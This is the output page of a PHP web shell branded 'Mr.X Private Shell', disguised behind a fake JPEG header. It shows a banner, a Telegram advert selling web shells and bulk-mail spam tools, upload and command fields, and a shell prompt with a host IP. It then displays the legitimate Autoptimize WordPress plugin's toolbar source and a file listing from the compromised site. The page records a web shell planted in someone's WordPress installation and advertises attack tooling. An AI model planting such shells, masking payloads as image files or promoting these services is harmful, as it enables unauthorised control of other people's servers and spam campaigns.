����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.217.65: ~ $
<?php
/**
 * Handles toolbar-related stuff.
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

class autoptimizeToolbar
{
    public function __construct()
    {
        // If Cache is not available we don't add the toolbar.
        if ( ! autoptimizeCache::cacheavail() ) {
            return;
        }

        // Load admin toolbar feature once WordPress, all plugins, and the theme are fully loaded and instantiated.
        if ( is_admin() ) {
            add_action( 'wp_loaded', array( $this, 'load_toolbar' ) );
        } else {
            // to avoid AMP complaining about the AMP conditional being checked too early.
            add_action( 'wp', array( $this, 'load_toolbar' ) );
        }
    }

    public function load_toolbar()
    {
        // Check permissions and that toolbar is not hidden via filter.
        if ( current_user_can( 'manage_options' ) && apply_filters( 'autoptimize_filter_toolbar_show', true ) && ! autoptimizeMain::is_amp_markup( '' ) ) {

            // Create a handler for the AJAX toolbar requests.
            add_action( 'wp_ajax_autoptimize_delete_cache', array( $this, 'delete_cache' ) );

            // Load custom styles, scripts and menu only when needed.
            if ( is_admin_bar_showing() ) {
                if ( is_admin() ) {
                    add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
                } else {
                    add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
                }

                // Add the Autoptimize Toolbar to the Admin bar.
                add_action( 'admin_bar_menu', array( $this, 'add_toolbar' ), 100 );
            }
        }
    }

    public function add_toolbar()
    {
        global $wp_admin_bar;

        // Retrieve the Autoptimize Cache Stats information.
        $stats = autoptimizeCache::stats();

        // Set the Max Size recommended for cache files.
        $max_size = apply_filters( 'autoptimize_filter_cachecheck_maxsize', 512 * 1024 * 1024 );

        // Retrieve the current Total Files in cache.
        $files = $stats[0];
        // Retrieve the current Total Size of the cache.
        $bytes = $stats[1];
        $size  = $this->format_filesize( $bytes );

        // Calculate the percentage of cache used.
        $percentage = ceil( $bytes / $max_size * 100 );
        if ( $percentage > 100 ) {
            $percentage = 100;
        }

        /**
         * We define the type of color indicator for the current state of cache size:
         * - "green" if the size is less than 80% of the total recommended.
         * - "orange" if over 80%.
         * - "red" if over 100%.
         */
        $color = ( 100 == $percentage ) ? 'red' : ( ( $percentage > 80 ) ? 'orange' : 'green' );

        // Create or add new items into the Admin Toolbar.
        // Main "Autoptimize" node.
        $_my_name = apply_filters( 'autoptimize_filter_settings_is_pro', false ) ? esc_html__( 'Autoptimize Pro', 'autoptimize' ) : esc_html__( 'Autoptimize', 'autoptimize' );
        $wp_admin_bar->add_node(
            array(
                'id'    => 'autoptimize',
                'title' => '<span class="ab-icon"></span><span class="ab-label">' . $_my_name . '</span>',
                'href'  => admin_url( 'options-general.php?page=autoptimize' ),
                'meta'  => array( 'class' => 'bullet-' . $color ),
            )
        );

        // "Cache Info" node.
        $wp_admin_bar->add_node(
            array(
                'id'     => 'autoptimize-cache-info',
                'title'  => '<p>' . esc_html__( 'CSS/ JS Cache Info', 'autoptimize' ) . '</p>' .
                            '<div class="autoptimize-radial-bar" percentage="' . $percentage . '">' .
                            '<div class="autoptimize-circle">' .
                            '<div class="mask full"><div class="fill bg-' . $color . '"></div></div>' .
                            '<div class="mask half"><div class="fill bg-' . $color . '"></div></div>' .
                            '<div class="shadow"></div>' .
                            '</div>' .
                            '<div class="inset"><div class="percentage"><div class="numbers ' . $color . '">' . $percentage . '%</div></div></div>' .
                            '</div>' .
                            '<table>' .
                            '<tr><td>' . esc_html__( 'Size', 'autoptimize' ) . ':</td><td class="size ' . $color . '">' . $size . '</td></tr>' .
                            '<tr><td>' . esc_html__( 'Files', 'autoptimize' ) . ':</td><td class="files white">' . $files . '</td></tr>' .
                            '</table>',
                'parent' => 'autoptimize',
            )
        );

        // "Delete Cache" node.
        $wp_admin_bar->add_node(
            array(
                'id'     => 'autoptimize-delete-cache',
                'title'  => esc_html__( 'Clear CSS/ JS Cache', 'autoptimize' ),
                'parent' => 'autoptimize',
            )
        );
    }

    public function delete_cache()
    {
        check_ajax_referer( 'ao_delcache_nonce', 'nonce' );

        $result = false;
        if ( current_user_can( 'manage_options' ) ) {
            // We call the function for cleaning the Autoptimize cache.
            $result = autoptimizeCache::clearall();
        }

        wp_send_json( $result );
    }

    public function enqueue_scripts()
    {
        // Autoptimize Toolbar Styles.
        wp_enqueue_style( 'autoptimize-toolbar', plugins_url( '/static/toolbar.min.css', __FILE__ ), array(), AUTOPTIMIZE_PLUGIN_VERSION, 'all' );

        // Autoptimize Toolbar Javascript.
        wp_enqueue_script( 'autoptimize-toolbar', plugins_url( '/static/toolbar.min.js', __FILE__ ), array( 'jquery' ), AUTOPTIMIZE_PLUGIN_VERSION, true );

        // Localizes a registered script with data for a JavaScript variable.
        // Needed for the AJAX to work properly on the frontend.
        wp_localize_script(
            'autoptimize-toolbar',
            'autoptimize_ajax_object',
            array(
                'ajaxurl'     => admin_url( 'admin-ajax.php' ),
                // translators: links to the Autoptimize settings page.
                'error_msg'   => sprintf( esc_html__( 'Your Autoptimize cache might not have been purged successfully, please check on the %1$sAutoptimize settings page%2$s.', 'autoptimize' ), '<a href="' . admin_url( 'options-general.php?page=autoptimize' ) . '" style="white-space:nowrap;">', '</a>' ),
                'dismiss_msg' => esc_html__( 'Dismiss this notice.' ),
                'nonce'       => wp_create_nonce( 'ao_delcache_nonce' ),
            )
        );
    }

    public function format_filesize( $bytes, $decimals = 2 )
    {
        $units = array( 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB' );

        for ( $i = 0; ( $bytes / 1024) > 0.9; $i++, $bytes /= 1024 ) {} // @codingStandardsIgnoreLine

        return sprintf( "%1.{$decimals}f %s", round( $bytes, $decimals ), $units[ $i ] );
    }
}

Filemanager

Name Type Size Permission Actions
critcss-inc Folder 0755
external Folder 0755
static Folder 0755
autoptimizeBase.php File 23.3 KB 0644
autoptimizeCLI.php File 743 B 0644
autoptimizeCSSmin.php File 1.74 KB 0644
autoptimizeCache.php File 29.74 KB 0644
autoptimizeCacheChecker.php File 5.41 KB 0644
autoptimizeCompatibility.php File 6.15 KB 0644
autoptimizeConfig.php File 54.48 KB 0644
autoptimizeCriticalCSSBase.php File 14.79 KB 0644
autoptimizeCriticalCSSCore.php File 30.07 KB 0644
autoptimizeCriticalCSSCron.php File 45.65 KB 0644
autoptimizeCriticalCSSEnqueue.php File 15.64 KB 0644
autoptimizeCriticalCSSSettings.php File 23.18 KB 0644
autoptimizeCriticalCSSSettingsAjax.php File 26.49 KB 0644
autoptimizeExitSurvey.php File 7.24 KB 0644
autoptimizeExtra.php File 34.28 KB 0644
autoptimizeHTML.php File 4.64 KB 0644
autoptimizeImages.php File 78.38 KB 0644
autoptimizeMain.php File 38.57 KB 0644
autoptimizeMetabox.php File 14.8 KB 0644
autoptimizeOptionWrapper.php File 6.53 KB 0644
autoptimizePartners.php File 4.89 KB 0644
autoptimizeProTab.php File 5.45 KB 0644
autoptimizeScripts.php File 31.68 KB 0644
autoptimizeSpeedupper.php File 4.3 KB 0644
autoptimizeStyles.php File 53 KB 0644
autoptimizeToolbar.php File 6.9 KB 0644
autoptimizeUtils.php File 22.22 KB 0644
autoptimizeVersionUpdatesHandler.php File 12.17 KB 0644
index.html File 189 B 0644